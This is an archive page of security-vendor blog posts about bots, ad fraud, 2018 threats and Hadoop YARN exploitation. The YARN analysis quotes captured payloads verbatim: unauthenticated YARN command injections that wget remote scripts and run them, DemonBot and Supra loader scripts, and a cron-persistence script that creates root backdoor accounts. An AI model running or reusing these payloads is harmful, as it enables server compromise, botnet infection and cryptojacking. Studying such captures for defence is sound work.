Botnets Archives | Radware Blog

main

Bot or Not? Distinguishing Between the Good, the Bad & the Ugly

January 8, 2019 — by Anna Convery-Pelletier — 0

Bots touch virtually every part of our digital lives. They help populate our news feeds, tell us the weather, provide stock quotes, control our search rankings, and help us comparison shop. We use bots to book travel, for online customer support, and even to turn our lights on and off and unlock our doors.

Yet, for every ‘good’ bot, there is a nefarious one designed to disrupt, steal or manipulate. Indeed, at least one third of all Internet traffic is populated by a spectrum of ‘bad’ bots. On one end, there are the manipulative bots, like those designed to buy out retailers’ inventory to resell high-demand goods at markup (like limited edition sneakers or ticket scalping) or simulate advertiser click counts. On the other, more extreme end, malicious bots take over accounts, conduct API abuse and enslave our IoT devices to launch massive DDoS attacks.

Equally troubling is the speed at which the bot ecosystem is evolving. Like most criminal elements, threat actors are singularly focused in their goals: They constantly update, mutate, and modify their tool sets to work around the various protections companies put in place.

In other words, what protected your organization against bots last year may not work today. Research from Radware’s 2018 State of Web Application Security Report shows that most organizations rely on tools like Captcha to detect their bot traffic, but modern, sophisticated bots can easily bypass those tools, making it difficult to even detect bot traffic, let alone identify the bot’s intentions.

Organizations need to look for bot management solutions that not only effectively detect and mitigate bot attacks but can also distinguish between ‘good’ and ‘bad’ bots in real-time.

Yesterday, Radware announced its intent to acquire ShieldSquare, which is a pioneer in the bot mitigation industry and one of three recognized solution leaders by Forrester with strong differentiation in the Attack Detection, Threat Research, Reporting, and Analytics categories.

The strong technology synergy between the two companies around advanced machine learning and the opportunity to extend Radware’s existing cloud security services bring a tremendous advantage to our customers and partners.

This acquisition allows Radware to expand our portfolio with more robust bot management solutions that can stand alone as product offerings as well as integrate into our suite of attack mitigation solutions. Radware will offer ShieldSquare’s bot management and mitigation product under the new Radware Bot Management product line. It enhances Radware’s advanced anti-bot capabilities from multi-protocol IoT DDoS attacks to more crafted e-commerce attacks affecting six emerging problems:

Data harvesting and Scraping Attacks
Account creation and Account Takeover Attacks
Denial of Inventory
Application DDoS & Brute Force Attacks
Brand Image / Reputation Attacks

It also provides ShieldSquare’s customers with access to the full suite of Radware security and availability solutions both on-prem and in the cloud, including our Cloud WAF services for comprehensive protection of applications.

We look forward to welcoming the ShieldSquare team into the Radware family and joining forces to offer some of the world’s best bot management solutions.

Read “Radware’s 2018 Web Application Security Report” to learn more.

Download Now

Ad Fraud 101: How Cybercriminals Profit from Clicks

January 3, 2019 — by Daniel Smith — 1

Fraud is and always will be a cornerstone of the cybercrime community. The associated economic gains provide substantial motivation for today’s malicious actors, which is reflected in the rampant use of identity and financial theft, and ad fraud. Fraud is, without question, big business. You don’t have to look far to find websites, on both the clear and the darknet, that profit from the sale of your personal information.

Fraud-related cyber criminals are employing an evolving arsenal of tactics and malware designed to engage in these types of activities. What follows is an overview.

Digital Fraud

Digital fraud—the use of a computer for criminal deception or abuse of web enabled assets that results in financial gain—can be categorized and explained in three groups for the purpose of this blog: basic identity theft with the goal of collecting and selling identifiable information, targeted campaigns focused exclusively on obtaining financial credentials, and fraud that generates artificial traffic for profit.

Digital fraud is its own sub-community consistent with typical hacker profiles. You have consumers dependent on purchasing stolen information to commit additional fraudulent crime, such as making fake credit cards and cashing out accounts, and/or utilizing stolen data to obtain real world documents like identification cards and medical insurance. There are also general hackers, motivated by profit or disruption, who publicly post personally identifiable information that can be easily scraped and used by other criminals. And finally, there are pure vendors who are motivated solely by profit and have the skills to maintain, evade and disrupt at large scales.

Identity fraud harvests complete or partial user credentials and personal information for profit. This group mainly consists of cybercriminals who target databases with numerous attack vectors for the purposes of selling the obtained data for profit. Once the credentials reach their final destination, other criminals will use the data for additional fraudulent purposes, such as digital account takeover for financial gains.
Banking fraud harvests banking credentials, digital wallets and credit cards from targeted users. This group consists of highly talented and focused criminals who only care about obtaining financial information, access to cryptocurrency wallets or digitally skimming credit cards. These criminals’ tactics, techniques and procedures (TTP) are considered advanced, as they often involve the threat actor’s own created malware, which is updated consistently.
Ad fraud generates artificial impressions or clicks on a targeted website for profit. This is a highly skilled group of cybercriminals that is capable of building and maintaining a massive infrastructure of infected devices in a botnet. Different devices are leveraged for different types of ad fraud but generally, PC-based ad fraud campaigns are capable of silently opening an internet browser on the victim’s computer and clicking on an advertisement.

Ad Fraud & Botnets

Typically, botnets—the collection of compromised devices that are often referred to as a bot and controlled by a malicious actor, a.k.a. a “bot herder—are associated with flooding networks and applications with large volumes of traffic. But they also send large volumes of malicious spam, which is leveraged to steal banking credentials or used to conduct ad fraud.

However, operating a botnet is not cheap and operators must weigh the risks and expense of operating and maintaining a profitable botnet. Generally, a bot herder has four campaign options (DDoS attacks, spam, banking and ad fraud) with variables consisting of research and vulnerability discovery, infection rate, reinfection rate, maintenance, and consumer demand.

With regards to ad fraud, botnets can produce millions of artificially generated clicks and impressions a day, resulting in a financial profit for the operators. Two recent ad fraud campaigns highlight the effectiveness of botnets:

3ve, pronounced eve, was recently taken down by White Owl, Google and the FBI. This PC-based botnet infected over a million computers and utilized tens of thousands of websites for the purpose of click fraud activities. The infected users would never see the activity conducted by the bot, as it would open a hidden browser outside the view of the user’s screen to click on specific ads for profit.
Mirai, an IoT-based botnet, was used to launch some of the largest recorded DDoS attacks in history. When the co-creators of Mirai were arrested, their indictments indicated that they also engaged in ad fraud with this botnet. The actors were able to conduct what is known as an impression fraud by generating artificial traffic and directing it at targeted sites for profit.

The Future of Ad Fraud

Ad fraud is a major threat to advertisers, costing them millions of dollars each year. And the threat is not going away, as cyber criminals look for more profitable vectors through various chaining attacks and alteration of the current TTPs at their disposal.

As more IoT devices continue to be connected to the Internet with weak security standards and vulnerable protocols, criminals will find ways to maximize the profit of each infected device. Currently, it appears that criminals are looking to maximize their new efforts and infection rate by targeting insecure or unmaintained IoT devices with a wide variety of payloads, including those designed to mine cryptocurrencies, redirect users’ sessions to phishing pages or conduct ad fraud.

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Download Now

Top 6 Threat Discoveries of 2018

December 18, 2018 — by Radware — 1

Over the course of 2018, Radware’s Emergency Response Team (ERT) identified several cyberattacks and security threats across the globe. Below is a round-up of our top discoveries from the past year. For more detailed information on each attack, please visit DDoS Warriors.

DemonBot

Radware’s Threat Research Center has been monitoring and tracking a malicious agent that is leveraging a Hadoop YARN (Yet-Another-Resource-Negotiator) unauthenticated remote command execution to infect Hadoop clusters with an unsophisticated new bot that identifies itself as DemonBot.

After a spike in requests for /ws/v1/cluster/apps/new-application appeared in our Threat Deception Network, DemonBot was identified and we have been tracking over 70 active exploit servers that are actively spreading DemonBot and are exploiting servers at an aggregated rate of over 1 million exploits per day.

Credential Stuffing Campaign

In October, Radware began tracking a credential stuffing campaign—a subset of Bruce Force attacks—targeting the financial industry in the United States and Europe.

This particular campaign is motivated by fraud. Criminals are using credentials from prior data breaches to gain access to users’ bank accounts. When significant breaches occur, the compromised emails and passwords are quickly leveraged by cybercriminals. Armed with tens of millions of credentials from recently breached websites, attackers will use these credentials, along with scripts and proxies, to distribute their attack against the financial institution to take over banking accounts. These login attempts can happen in such volumes that they resemble a distributed denial-of-service (DDoS) attack.

DNS Hijacking Targets Brazilian Banks

This summer, Radware’s Threat Research Center identified a hijacking campaign aimed at Brazilian Bank customers through their IoT devices, attempting to gain their bank credentials.

The research center had been tracking malicious activity targeting DLink DSL modem routers in Brazil since early June. Through known old exploits dating from 2015, a malicious agent is attempting to modify the DNS server settings in the routers of Brazilian residents, redirecting all their DNS requests through a malicious DNS server. The malicious DNS server is hijacking requests for the hostname of Banco de Brasil (www.bb.com.br) and redirecting to a fake, cloned website hosted on the same malicious DNS server, which has no connection whatsoever to the legitimate Banco de Brasil website.

Nigelthorn Malware

In May, Radware’s cloud malware protection service detected a zero-day malware threat at one of its customers, a global manufacturing firm, by using machine-learning algorithms. This malware campaign is propagating via socially-engineered links on Facebook and is infecting users by abusing a Google Chrome extension (the ‘Nigelify’ application) that performs credential theft, cryptomining, click fraud and more.

Further investigation by Radware’s Threat Research group revealed that this group has been active since at least March 2018 and has already infected more than 100,000 users in over 100 countries.

Stresspaint Malware Campaign

On April 12, 2018, Radware’s Threat Research group detected malicious activity via internal feeds of a group collecting user credentials and payment methods from Facebook users across the globe. The group manipulates victims via phishing emails to download a painting application called ‘Relieve Stress Paint.’ While benign in appearance, it runs a malware dubbed ‘Stresspaint’ in the background. Within a few days, the group had infected over 40,000 users, stealing tens of thousands Facebook user credentials/cookies.

DarkSky Botnet

In early 2018, Radware’s Threat Research group discovered a new botnet, dubbed DarkSky. DarkSky features several evasion mechanisms, a malware downloader and a variety of network- and application-layer DDoS attack vectors. This bot is now available for sale for less than $20 over the Darknet.

As published by its authors, this malware is capable of running under Windows XP/7/8/10, both x32 and x64 versions, and has anti-virtual machine capabilities to evade security controls such as a sandbox, thereby allowing it to only infect ‘real’ machines.

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Download Now

Hadoop YARN: An Assessment of the Attack Surface and Its Exploits

November 15, 2018 — by Pascal Geenens — 2

Rate of Hadoop YARN exploits is slowing but still at a concerning 350,000 events per day
1065 servers are exposed and vulnerable
The geographic spread of vulnerable servers and the targets of the attacks is global and concentrated in regions with high cloud data center densities
Motivations behind the exploits range from planting Linux backdoors, infecting servers with IoT malware for scanning and DDoS, up to cryptomining campaigns
A Monero cryptomining campaign has been actively abusing exposed Hadoop YARN servers since April 2018 and mined for a total revenue of 566 XMR (about 60,000 USD) and is growing its revenues with an average of 2 XMR (212 USD) a day
In a window of less than 14 days, there was enough malware collected from Hadoop YARN exploit attempts to start a small zoo
Owners of Hadoop YARN servers should care, as they can fall victim to cryptomining abuse, causing loss of performance, instability and higher cloud utilization bills
Online businesses should care, too. They can be the target of DDoS attacks.
Consumers should care because they will not be able to shop during Cyber Monday if their favorite online shop falls victim to DDoS attacks

In my blog on DemonBot, I discussed how Hadoop YARN exploit attempts were ramping up. In the middle of October, our deception network recorded up to 1.5 million attempts per day. The good news is that the attempt rate steadily slowed down in the second half of last month—though unfortunately not to the point where we should pat ourselves on the back for exposing one of the many malicious campaigns that are taking advantage of exposed Hadoop YARN servers.

These last few days, the number of Hadoop Yarn exploit attempts slowed to an average of 350,000 attempts per day. That said, there is no sign of the threat going away any time soon and we should stay alert. In order to appreciate the risk and quantify the threat, I have been tracking Hadoop YARN campaigns and exploring the extent of the attack surface since my last blog. Understanding the potential for abuse and the types of threats that are emerging from the exposed servers allows one to better appreciate the risk.

The Attackers and their Victims

Between September and the first half of November, there have been more than 35 million exploit attempts registered by our deception network and over one-third of them originated from the US. Great Britain, Italy and Germany are the runners-up and, combined, they were good for more than half of the exploit attempts.

In absolute numbers, the U.S. generated nearly 12 million exploit attempts. Great Britain and Italy each were responsible for 6 million attempts, closely followed by Germany with 4.8 million attempts.

The exploit attempts were not specifically targeting a single region. The UK and Germany honeypots were hit twice as hard compared to the rest of the world. The average numbers for each region is between 1.6 and 3.2 million attempted exploits.

Hadoop YARN Attack Surface

To asses the attack surface, I performed a global scan for services listening on the Hadoop YARN port TCP/8088, taking care to exclude sensitive IP ranges as listed in Robert Graham’s masscan exclusion list. By November 8, the number of vulnerable Hadoop YARN servers exposed to the public was 1065. The vulnerable servers are scattered around the globe with higher concentrations in areas where the data center density is high.

Compare the above locations of vulnerable Hadoop YARN servers with the global data center map below:

The attack surface is global and limited to little over 1,000 servers, but it should not be ignored because of the high potential powerful big data servers typically provide for malicious agents.

Types of Abuse

Now that we have a good measure on the attack surface and the interest taken in it by malicious actors, it’s time to have a closer look at how these actors are attempting to take advantage of this situation.

The below graph shows different Hadoop YARN exploits recorded by our medium interaction honeypots over a period of 14 days. Each exploit payload contains a command sequence which is hashed into a unique fingerprint, allowing us to quantify and track campaigns over time. The exploit table in (*1) contains the details of each command sequence corresponding to the fingerprints in the graph.

The red bars in the command sequence graph above represent the attempted count per day from a new DemonBot campaign ‘YSDKOP,’ named after the names used for the malware binaries.

The two large peaks in different shades of blue represent multiple exploits related to a Hadoop YARN cryptomining campaign that has been running for at least 8 months now; first spotted in April 2018, it recently moved its download infrastructure to BitBucket.org. Guess it is more convenient to track different versions of cryptominer and its configuration files over time using Atlassian’s free and public service…

The other, shorter and less aggressive campaigns represented in the command sequence graph above were mostly infection attempts by Linux/IoT Botnets. Some that seemed worthy of a few words are discussed below.

The Bitbucket Crypto Miner

An ongoing Monero cryptomining campaign that has been known to actively abuse exposed Hadoop YARN servers since April of this year, mined a total of 566 XMR (about 60,000 USD) and is growing its revenue with an average rate of 2 XMR (212 USD) a day. The malicious agent or group is currently abusing three servers and maintains an average hash rate of 400kH/s over time.

Leveraging the Hadoop YARN vulnerability, a shell script is downloaded and executed from a public BitBucket account:

{“max-app-attempts”:2,”am-container-spec”:{“commands”:{“command”:”wget -q -O – https://bitbucket.org/zrundr42/mygit/raw/master/zz.sh | bash & disown”}},”application-id”:”application_1802197302061_0095″,”application-type”:”YARN”,”application-name”:”hadoop”}

The ‘zz.sh’ script, archived in (*2) for reference, performs some cleaning up on the server before ultimately downloading a binary called ‘x_64’ from the same repository.

The x_64 binary is XMRig, an open source, high-performance Monero CPU miner written in C++ (https://github.com/xmrig/xmrig).

 $ ./x_64 --version
XMRig 2.8.1
built on Oct 18 2018 with GCC 4.8.4
features: 64-bit AES
libuv/1.9.1

The configuration file for XMRig is ‘w.conf’ and downloaded from the same BitBucket repository:

{
    "algo": "cryptonight",
    "background": true,
    "colors": false,
    "retries": 5,
    "retry-pause": 5,
    "donate-level": 1,
    "syslog": false,
    "log-file": null,
    "print-time": 60,
    "av": 0,
    "safe": false,
    "max-cpu-usage": 95,
    "cpu-priority": 4,
    "threads": null,
    "pools": [
         {
            "url": "stratum+tcp://163.172.205.136:3333",
            "user": "46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S",
            "pass": "h",
            "keepalive": true,
            "nicehash": false,
            "variant": -1
        }
    ],
    "api": {
        "port": 0,
        "access-token": null,
        "worker-id": null
    }
}

From the configuration file we find the pool wallet address:

46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S

The wallet address matches that of operations reported in the Stackoverflow and HortonWorks communities by Hadoop admins in May of this year; thousands of cryptomining jobs were causing issues with the cluster.

In August, the 360 Threat Intelligence Center published a report on what they called the “8220 mining gang,” also mentioning the same wallet address. According to the researchers, the mining gang was/is suspected to be of Chinese origin.

The same address also matches the wallet address used in a sample Nanopool report link in the readme of another cryptomining open-source software hosted on Github and called ‘Cpuhunter’.

The Nanopool wallet account that has been in use since April 10 can be tracked through this link.

The total XMR payments resulting from this illegal mining operation were, as of November 12, 566 XMR or about 60,000 USD.

IOC
Binary: a1bd663986bae6b5cea19616c9507d09618eaddb71051ae826580a0b7e610ae5 x_64
Bitbucket repo: https://bitbucket.org/zrundr42/mygit/src/master/
Mining pool account: 46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S

YSDKOP, DemonBot in Hiding

YSDKOP bots are delivered through a Hadoop YARN exploit using the following payload:

 User-Agent: [python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.3.5.el6.x86_64]
{"am-container-spec": {"commands": {"command": "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/bins.sh -O /tmp/flex; chmod +x /tmp/flex; /tmp/flex; rm -rf/tmp/flex"}}, "application-id": "application_1802197302061_0095", "application-type": "YARN", "application-name": "get-shell"}

The downloaded ‘bins.sh’ script downloads in its turn several binaries in a typical IoT loader kind of way:


$ cat bins.sh 
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.mips; chmod +x YSDKOP.mips; ./YSDKOP.mips; rm -rf YSDKOP.mips
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.mpsl; chmod +x YSDKOP.mpsl; ./YSDKOP.mpsl; rm -rf YSDKOP.mpsl
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.sh4; chmod +x YSDKOP.sh4; ./YSDKOP.sh4; rm -rf YSDKOP.sh4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.x86; chmod +x YSDKOP.x86; ./YSDKOP.x86; rm -rf YSDKOP.x86
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.arm6; chmod +x YSDKOP.arm6; ./YSDKOP.arm6; rm -rf YSDKOP.arm6
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.i686; chmod +x YSDKOP.i686; ./YSDKOP.i686; rm -rf YSDKOP.i686
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.ppc; chmod +x YSDKOP.ppc; ./YSDKOP.ppc; rm -rf YSDKOP.ppc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.i586; chmod +x YSDKOP.i586; ./YSDKOP.i586; rm -rf YSDKOP.i586
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.m68k; chmod +x YSDKOP.m68k; ./YSDKOP.m68k; rm -rf YSDKOP.m68k
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.sparc; chmod +x YSDKOP.sparc; ./YSDKOP.sparc; rm -rf YSDKOP.sparc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.arm4; chmod +x YSDKOP.arm4; ./YSDKOP.arm4; rm -rf YSDKOP.arm4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.arm5; chmod +x YSDKOP.arm5; ./YSDKOP.arm5; rm -rf YSDKOP.arm5
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.arm7; chmod +x YSDKOP.arm7; ./YSDKOP.arm7; rm -rf YSDKOP.arm7
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.ppc440fp; chmod +x YSDKOP.ppc440fp; ./YSDKOP.ppc440fp; rm -rf YSDKOP.ppc440fp

The different binaries correspond to cross-compiled versions of the same source code for multiple platform architectures:

 $ file *
YSDKOP.arm4:  ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, with debug_info, not stripped
YSDKOP.arm5:  ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, with debug_info, not stripped
YSDKOP.arm6:  ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
YSDKOP.arm7:  ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
YSDKOP.i586:  ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
YSDKOP.i686:  ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
YSDKOP.m68k:  ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, not stripped
YSDKOP.mips:  ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped
YSDKOP.mpsl:  ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped
YSDKOP.ppc:   ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, not stripped
YSDKOP.sh4:   ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, not stripped
YSDKOP.sparc: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, with debug_info, not stripped
YSDKOP.x86:   ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

A quick glance over the strings of the i586 binary reveals the typical DemonBot markers:


$ strings YSDKOP.i586
…
185.244.25.153:420
8.8.8.8
/proc/net/route
        00000000
(null)
/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ
/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID
/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38
/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93
/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A
/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A
nwonknu
unknown
Hello
slammed
…
Sending TCP Packets To: %s:%d for %d seconds
STOP
[Shelling]-->[%s]-->[%s]-->[%s]-->[%s]-->[%s]

This is an unaltered DemonBot hiding behind a random name YSDKOP.

IOC
59719aa688954e7f4dd575173d7c9b5de6fd0d69d8c9ed8834d91a144e635e3b bins.sh
106dc7d4f44c1077b62c6d509ce471c79e27ffc7369d6418ddafed861c0f93be YSDKOP.arm4
dd62d3b51b194729f7270c590f647d08a1cbc6af8ecf0b92a98dc3e330fe304a YSDKOP.arm5
3fb0dd65608b93034e212ad85e660f6bc25a5df896410e0c6b9c411e56faac55 YSDKOP.arm6
74f8d9c9d91f87aa7f092efa6b12a4c9dfff492eb54f12d6e35e8bf3e96eacff YSDKOP.arm7
a36dff7844715c796de80f26b9dd4470de8cbc6c941499b6a94c048afd567316 YSDKOP.i586
7caed4bafe6c964c090d78f93e7eb7943bb19575532f19e70a87cfe2943d1621 YSDKOP.i686
dd8163a99b5cdd3e591213c64ad48e25d594f4b7ab9802cd7c60f3150a9e71f9 YSDKOP.m68k
67e85c8b24c3e382a1d83245d1c77f6b8b5f0b19be36fd8fb06f1cb42d07dad5 YSDKOP.mips
8b2407226356487558a26aba967befd48df53a5f53fd23b300f22b4dc9abe293 YSDKOP.mpsl
b94176a7448aa8ea0c961bc69371778828f3ab5665b14cc235f8413d8bf86386 YSDKOP.ppc
a96e07c8dc42eb05fa21069bb14391ee4241d1ccd9289c52cb273ffb7ecd3891 YSDKOP.sh4
43e445b0c644d52129c47154cd6bcdea7192d680cc3d2e8165b904c54ddd6fc2 YSDKOP.sparc
39f2b2c68362a347aad0942853d0262acec1e2f4174ba973b0c574f4567cb893 YSDKOP.x86

Supra, DemonBot-ng

Infecting through the Hadoop YARN exploit payload below:

 {"am-container-spec": {"commands": {"command": "cd /tmp; rm -rf *; wget http://80.211.59.125/n; sh n"}}, "application-id": "application_XXXXXXXXXXXXX_XXXX", "application-type": "YARN", "application-name": "get-shell"}

The downloaded script ‘n’ contains code to download two binaries, one 32bit x86 and one 64bit x86:

 $ cat n
#!/bin/sh
n="Supra.x86 Supra.x86_64"
http_server="80.211.59.125" 
dirs="/tmp/ /var/ /dev/shm/ /dev/ /var/run/ /var/tmp/"
 
for dir in $dirs
do
    >$dir.file && cd $dir
done 
 
for i in $n
do
    cp $SHELL $i
    >$i
    chmod 777 $i
    wget http://$http_server/$i -O $i
    chmod 777 $i
    ./$i
done

Looking at the strings of the downloaded ‘Supra.x86_64’ binary, we see a close match with those of DemonBot, as do the decorated names in the unstripped binary.

 $ strings Supra.x86_64
…
80.211.59.125:434
8.8.8.8
/proc/net/route
…
x86_64
Linux
/usr/bin/apt-get
Ubuntu/Debian
/usr/lib/portage
Gentoo
/usr/bin/yum
RHEL/CentOS
/usr/share/YaST2
OpenSUSE
/etc/dropbear/
OpenWRT
/etc/opkg
UNKNOWN
/etc/ssh/
Dropbear
/etc/xinet.d/telnet
Telnet
/usr/kerberos/bin/telnet
…
[1;37m[
[0;35mSupra
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
…
GCC: (GNU) 4.2.1   
…

Note the very similar string as previously discovered in the DemonBot source code, but this time with ‘Supra’ instead of ‘shelling’ in the first square brackets:

 [Supra]-->[%s]-->[%s]-->[%s]-->[%s]-->[%s]

The new binary also contains indicators of an extension in the platform detection code. The original DemonBot checked for two platforms

Ubuntu/Debian, based on the existence of /usr/bin/apt-get, and
RHEL/Centos, based on the existence of /usr/bin/yum

Supra adds to the above two:
Gentoo:          /usr/lib/portage
OpenSUSE:    /usr/share/YaST2
OpenWRT:    /etc/dropbear
UNKNOWN: /etc/opkg
Dropbear:     /etc/ssh/
Telnet:           /etc/xinet.d/telnet

The compile version used for this DemonBot version is identical to the original DemonBot: GCC (GNU) 4.2.1.

Hoho, a Botnet by Greek.Helios

Hadoop YARN exploit payload:

 {"am-container-spec": {"commands": {"command": "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://68.183.96.48/bins/hoho.x86 -O /tmp/flex; chmod +x /tmp/flex; /tmp/flex servers"}}, "application-id": "application_XXXXXXXXXXXXX_XXXX", "application-type": "YARN", "application-name": "get-shell"}

The binaries first appeared on the server on Oct 30, 2018:

The hoho.x86 binary contains the literal string: Botnet Made By greek.Helios

The binary is packed with the UPX executable packer and matches mostly Mirai code.

IOC
7812fc4e894712845559193bd2b9cc88391b0a6691906124846cbaf73eb67b73 hoho.arm
622dd9dc905a14d881ce07227252f5086ba3b7afca88b913ece0bcfb4444b41b hoho.arm5
b9e0cce5412c1cb64f6e53493c8263f5e0d56e6e217ea4d94e401bf2da6d8c60 hoho.arm6
7050cb141e5eb0a8236639e0d9f2cc9bca63f2c3984b3ea8e30400984d24cfe6 hoho.arm7
4ce21713f20624ea5ba9eec606c53b7d9c38c2d72abf4043f509c81326bbdb1d hoho.m68k
485ecbe80f8f98b032af80cf32bb26d49e1071c75b25f6e306e37856f1446d38 hoho.mips
a599bf6697062d3358b848db40399feafd65931834acc9228f97dc27aa7fa4bb hoho.mpsl
456b31214698f894e8f4eb4aa01a34305c713df526fd33db74b58f440e59a863 hoho.ppc
e0a56e2ea529991933c38fc8159374c8821fdb57fe5622c2cf8b5ad7798bbc02 hoho.sh4
da53b60354c3565a9954cbaa0e1b6d7146d56890ee10cd0745b5787298db97a7 hoho.spc
9f4f93667e4892ca84a45981caafb4a39eabdc2f6c257f0dc2df04c73f1bf0a4 hoho.x86

prax0zma.ru

This campaign consists of a set of shell scripts which deletes system and other user accounts from a compromised server and creates two backdoor accounts with root privileges.

The backdoor account user names are ‘VM’ and ‘localhost’ and both have their password set to the hash ‘$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1’.

http://prax0zma.ru/8.sh
$ cat 8.sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://prax0zma.ru/8.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- http://prax0zma.ru/8.sh | sh" >> /var/spool/cron/root
#echo "0 * * * * pkill -9 r" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://prax0zma.ru/8.sh | /bin/sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://prax0zma.ru/8.sh | /bin/sh" >> /var/spool/cron/crontabs/root
#echo "0 * * * * pkill -9 r" >> /var/spool/cron/crontabs/root

cd /boot ; wget -q http://hehe.suckmyass.cf/.o -O .b; chmod +x .b; nohup ./.b  >/dev/null 2>&1
cd /boot ; curl -O http://hehe.suckmyass.cf/.o ; chmod +x .o; nohup ./.o  >/dev/null 2>&1
#cd /tmp ; curl -O http://sandbotc2.ml/fefe | wget -q http://sandbotc2.ml/fefe ; chmod +x fefe; ./fefe ; rm -rf fefe*; >/dev/null 2>&1
echo 128 > /proc/sys/vm/nr_hugepages
sysctl -w vm.nr_hugepages=128
    ulimit -n 65000
    ulimit -u 65000

mkdir -p /tmp/.ha/

if [ ! -f "/tmp/.ha/nsyhs" ]; then
    curl -fsSL http://prax0zma.ru/bash -o /tmp/.ha/nsyhs
fi

if [ ! -f "/tmp/.ha/nsyhs" ]; then
    wget -q http://prax0zma.ru/bash -O /tmp/.ha/nsyhs
fi

chmod +x /tmp/.ha/nsyhs && /tmp/.ha/nsyhs
